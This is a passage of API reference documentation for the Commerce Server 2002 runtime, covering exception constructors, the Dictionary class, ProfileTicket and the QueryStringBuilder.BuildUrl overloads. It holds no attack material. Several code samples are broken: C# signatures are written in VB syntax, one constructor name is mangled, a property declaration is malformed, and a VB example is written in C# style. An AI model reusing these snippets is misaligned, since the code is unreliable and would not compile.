public CommerceModuleDependencyException(
  System.String missingModule,
  System.String dependentModule
);

Parameters

[Visual Basic .NET]
missingModule
The name of the missing module.
dependentModule
The name of the dependent module.
[C#]
missingModule
The name of the missing module.
dependentModule
The name of the dependent module.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceModuleDependencyException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceResourceDependencyException Class (BCL)

Exception raised when a resource does not exist in the Commerce Server Administration database.

Public Instance Constructor

Constructor | Description
CommerceResourceDependencyException Constructor | Creates a new instance of the CommerceResourceDependencyException class.
CommerceResourceDependencyException Constructor(String) | Creates a new instance of the CommerceResourceDependencyException class with the specified message.
CommerceResourceDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceResourceDependencyException class with the specified message and inner exception.
CommerceResourceDependencyException Constructor(String, String) | Creates a new instance of the CommerceResourceDependencyException class with the specified resource and module.

Protected Instance Constructor

Constructor | Description
CommerceResourceDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceResourceDependencyException class with the specified serialization information and streaming context

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceResourceDependencyException Constructor | Creates a new instance of the CommerceResourceDependencyException class.
CommerceResourceDependencyException Constructor(String) | Creates a new instance of the CommerceResourceDependencyException class with the specified message.
CommerceResourceDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceResourceDependencyException class with the specified message and inner exception.
CommerceResourceDependencyException Constructor(String, String) | Creates a new instance of the CommerceResourceDependencyException class with the specified resource and module.

Protected Instance Constructor

Constructor | Description
CommerceResourceDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceResourceDependencyException class with the specified serialization information and streaming context


CommerceResourceDependencyException Constructor (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceResourceDependencyException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceResourceDependencyException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String _
)
[C#]
public CommerceResourceDependencyException(
  System.String msg
);

Parameters

[Visual Basic .NET]
msg
The exception message.
[C#]
msg
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceResourceDependencySystem.Exception(
  System.String msg,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
msg
The exception message.
inner
The inner exception.
[C#]
msg
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (String, String) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified resource and module.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal resourceName As System.String, _
  ByVal moduleName As System.String _
)
[C#]
public CommerceResourceDependencyException(
  System.String resourceName,
  System.String moduleName
);

Parameters

[Visual Basic .NET]
resourceName
A String specifying the name of the resource.
moduleName
A String specifying the name of the module.
[C#]
resourceName
A String specifying the name of the resource.
moduleName
A String specifying the name of the module.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceResourceDependencyException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceServerInfo Class (BCL)

Gets the installed culture for Commerce Server 2002.

Public Static (Shared) Properties

Property | Description
InstalledProductCulture | Returns the installed culture for Commerce Server.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceServerInfo Properties (BCL)

Public Static (Shared) Properties

Property | Description
InstalledProductCulture | Returns the installed culture for Commerce Server.


CommerceServerInfo.InstalledProductCulture Property (BCL)

The InstalledProductCulture property is a read-only String that returns the installed culture for Commerce Server.

Definition

[Visual Basic .NET]
Public ReadOnly Property InstalledProductCulture As System.String
[C#]
public System.String InstalledProductCulture {get;}

Property Value

The installed culture for Commerce Server.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


Dictionary Class (BCL)

Use this object to support the creation, storage, and retrieval of name/value pairs in memory. Every value in a Dictionary object is an Object, which means you can create a Dictionary object that consists of almost any kind of value (including other Dictionary objects), and that you can store any combination of Object types in the same Dictionary object.

Public Instance Methods

Method | Description
GetEnumerator | Returns an enumerator for Dictionary objects

Public Instance Properties

Property | Type | Description
Count | Integer | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Object | Stores the value of a given Dictionary key. This property is read/write.

Remarks

[Visual Basic .NET]

Because a Dictionary object is designed to be a general-purpose collection, you can use it for almost anything that its internal structure supports.

Dim dictUser As Dictionary

After instantiating the object, you can add elements to it, as follows:

dictUser.Value( “firstName” ) = "Steve"

In this example, first_name is a Dictionary key, and Steve becomes the assigned value of this key. Each statement actually accomplishes three functions: declaring the Dictionary key, adding that key to the Dictionary object, and setting the key to a value.

You can use the Value method to get the value of a given key:

my_first_name = dictUser.Value("first_name")

You can also use the For Each statement in Microsoft Visual Basic Scripting Edition (VBScript) to enumerate through the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

' // Get the key names and values

For Each element In dictUser

Console.WriteLine(“name = {0}; value = {1}”, element, dictUser[element]);

        Next

The data in a Dictionary object can be saved in a database table by using the DBStorage object.

Commerce Server 2002 sites use implementations of the Dictionary object to store sets of data that are required by various other objects and pipeline components.

Unlike previous versions of the dictionary, the dictionary in Commerce Server 2002 is implemented as a hash of name value pairs. This enables the dictionary to perform fast lookups even when a large number of key/value pairs are stored. It also has the side effect that enumerations of dictionary keys may not be returned in the same order they are stored.

The Dictionary object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

[C#]

Because a Dictionary object is designed to be a general-purpose collection, you can use it for almost anything that its internal structure supports.

When you need to create a Dictionary object explicitly (that is, when the object is not created for you by some other Commerce Server 2002 object), use the standard creation with new as follows:

using Microsoft.CommerceServer.Interop;
…
Dictionary dictUser = new Dictionary();

After creating the object, you can add elements to it, as follows:

dictUser[“firstName”] = "Steve";

In this example, “firstName” is a Dictionary key, and “Steve” becomes the assigned value of this key. Each statement actually accomplishes three functions: declaring the Dictionary key, adding that key to the Dictionary object, and setting the key to a value.

You can extract values from a Dictionary object in several ways. You can simply place the object.key identifier on the right side of the assignment statement. Such an assignment returns the value of the referenced key:

using Microsoft.CommerceServer.Interop;
Commerce.IDictionary dictUser = new Dictionary();
dictUser["key1"] = "value1";
string s = dictUser["key1"].ToString();

You can also use the foreach statement in Microsoft C# to enumerate through the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

// Get the key names and values
foreach ( string name in dictUser )
    Console.WriteLine(“name = {0}; value = {1}”, name, dictUser[name]);

The data in a Dictionary object can be saved in a database table by using the Microsoft.CommerceServer.Interop.Orders.DBStorage object.

Commerce Server 2002 sites use implementations of the Dictionary object to store sets of data that are required by various other objects and pipeline components.

Unlike previous versions of the dictionary, the dictionary in Commerce Server 2002 is implemented as a hash of name value pairs. This enables the dictionary to perform fast lookups even when a large number of key/value pairs are stored. It also has the side effect that enumerations of dictionary keys may not be returned in the same order they are stored.

The Dictionary object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Core Objects

IPersistXML Interface

SimpleList Class


Dictionary Methods (BCL)

Methods

Method | Description
GetEnumerator | Returns an enumerator for Dictionary objects


Dictionary.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator for the Dictionary object.

Definition

[Visual Basic .NET]
Public Function GetEnumerator(
) As IEnumerator
[C#]
public IEnumerator GetEnumerator();

Return Values

If successful, GetEnumerator returns an IEnumerator objects describing a set of Dictionary objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


Dictionary Properties (BCL)

Properties

Property | Type | Description
Count | Integer | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Object | Stores the value of a given Dictionary key. This property is read/write.


Dictionary.Count Property (BCL)

The Count property is a read-only Integer that contains the number of elements in the Dictionary object instance.

Definition

[Visual Basic .NET]
Public Property Count As Integer
[C#]
public int Count {get; }

Property Value

This property returns the number of elements in the Dictionary object instance.

Remarks

The Count parameter points to valid data only if the property is accessed successfully.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


Dictionary.Prefix Property (BCL)

The Prefix property is a read/write String that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

Definition

[Visual Basic .NET]
Public Property Prefix As String
[C#]
public string Prefix ( get; set; );

Property Value

The accessor version of the property returns a String value.

Remarks

By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

The pipeline component that saves receipts usually sets the prefix to "_cc_", so that all credit-card information is not saved in the database. The actual string used by the pipeline component is configurable.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


Dictionary.Value Property (BCL)

The Value property allows you to get or set a name/value pair in the Dictionary.

Definition

[Visual Basic .NET]
Public Property Value(
 bstrName As String
) As Object
[C#]
public object this[ string aKey ] [get; set;]

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the Dictionary key for which to retrieve a value or put a value.
[C#]
aKey
A String that contains the name of the Dictionary key for which to retrieve a value or put a value.
Value
When setting the value, an Object that contains the value to which the element specified by the key aKey should be initialized.
When getting the value, an Object containing the value of the key specified by the aKey index. If you stored something less general than an Object, you will have to cast the returned Object to get your saved type.

Dictionary userDict = new Dictionary();

userDict[“creditCard”] = “Amex”; //set
string currentCard = (string) userDict[“creditCard”]; //get

Return Values

The get version of the indexer returns an Object.

Remarks

When using the get version of the indexer, if the key being accessed in the dictionary does not exist, an Object set to null is returned. Therefore, to logically delete a key from the dictionary, you can set the value for the key to DBNull.Value and then to a client of the dictionary. It is indistinguishable from a key/value pair that does not exist. The Value parameter contains valid data only if the property is accessed successfully.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' first_name is a Dictionary key
' o_first_name is an Object
o_first_name = dDict.Value("first_name")
o_first_name = dDict("first_name")

' use this form if the value contains an object reference:
oSubObject = dDict("myObjectKey")

' Property syntax
o_first_name = dDict.first_name
' If the key begins with an underscore then use braces around the key name
o_first_name = dDict.[_first_name]

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


LogStatus Enumeration (BCL)

Enumerator listing the return type values for the CommerceContext.LogCommerceEvent method.

Members

Member Name | Description
InvalidEvent | Event object is invalid; certain property values may be breaking validity constraints.
NoTypeInfo | Type information for this object was not obtained.
Ok | Type information for this object is valid.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileTicket Class (BCL)

Contains the profile ticket for the user.

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties on the profile ticket.
UserID | Retrieves and sets the UserID property on the profile ticket.
Value (Inherited from TicketBase) | Retrieves a ticket in string form.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileTicket Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases managed resources.


ProfileTicket Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties on the profile ticket.
UserID | Retrieves and sets the UserID property on the profile ticket.
Value (Inherited from TicketBase) | Retrieves a ticket in string form.


ProfileTicket.Item(String) Property (BCL)

The Item property is a read/write String that retrieves and sets properties on the profile ticket.

Definition

[Visual Basic .NET]
Overrides Public Property Item( _
  ByVal propertyName As System.String _
) As System.String
[C#]
public override System.String Item(
  System.String propertyName
) {get; set;}

Parameters

[Visual Basic .NET]
propertyName
The name of the property to set or retrieve.
[C#]
propertyName
The name of the property to set or retrieve.

Property Value

A String containing the value of the propertyName property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileTicket.UserID Property (BCL)

The UserID property is a read/write String containing the user ID for the profile ticket.

Definition

[Visual Basic .NET]
Overrides Public Property UserID As System.String
[C#]
public override System.String UserID {get; set;}

Property Value

The user ID for the profile ticket.

Remarks

If there is no user ID, null is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder Class (BCL)

Use this class to build encrypted query strings for cookie and cookieless browsers.

Public Instance Methods

Method | Description
BuildUrl(String, Boolean) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String[], String[]) | Generates an encoded URL string based on the parameter values.

Public Instance Properties

Property | Description
CookieSupport | Gets and sets the cookie support level.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder Methods (BCL)

Public Instance Methods

Method | Description
BuildUrl(String, Boolean) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String[], String[]) | Generates an encoded URL string based on the parameter values.


QueryStringBuilder.BuildUrl (String, Boolean) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, set to True for https, set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, set to True for https, set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
A string containing the parameter name.
urlParameterValue
A string of containing the parameter value.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
A string containing the parameter name.
urlParameterValue
A string of containing the parameter value.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String, _
  ByVal urlParameterName2 As System.String, _
  ByVal urlParameterValue2 As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue,
  System.String urlParameterName2,
  System.String urlParameterValue2
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String, String, String, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String, _
  ByVal urlParameterName2 As System.String, _
  ByVal urlParameterValue2 As System.String, _
  ByVal urlParameterName3 As System.String, _
  ByVal urlParameterValue3 As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue,
  System.String urlParameterName2,
  System.String urlParameterValue2,
  System.String urlParameterName3,
  System.String urlParameterValue3
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String, String, String, String, String, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String, _
  ByVal urlParameterName2 As System.String, _
  ByVal urlParameterValue2 As System.String, _
  ByVal urlParameterName3 As System.String, _
  ByVal urlParameterValue3 As System.String, _
  ByVal urlParameterName4 As System.String, _
  ByVal urlParameterValue4 As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue,
  System.String urlParameterName2,
  System.String urlParameterValue2,
  System.String urlParameterName3,
  System.String urlParameterValue3,
  System.String urlParameterName4,
  System.String urlParameterValue4
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.
urlParameterName4
Name of the fourth property.
urlParameterValue4
Value of the fourth property.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
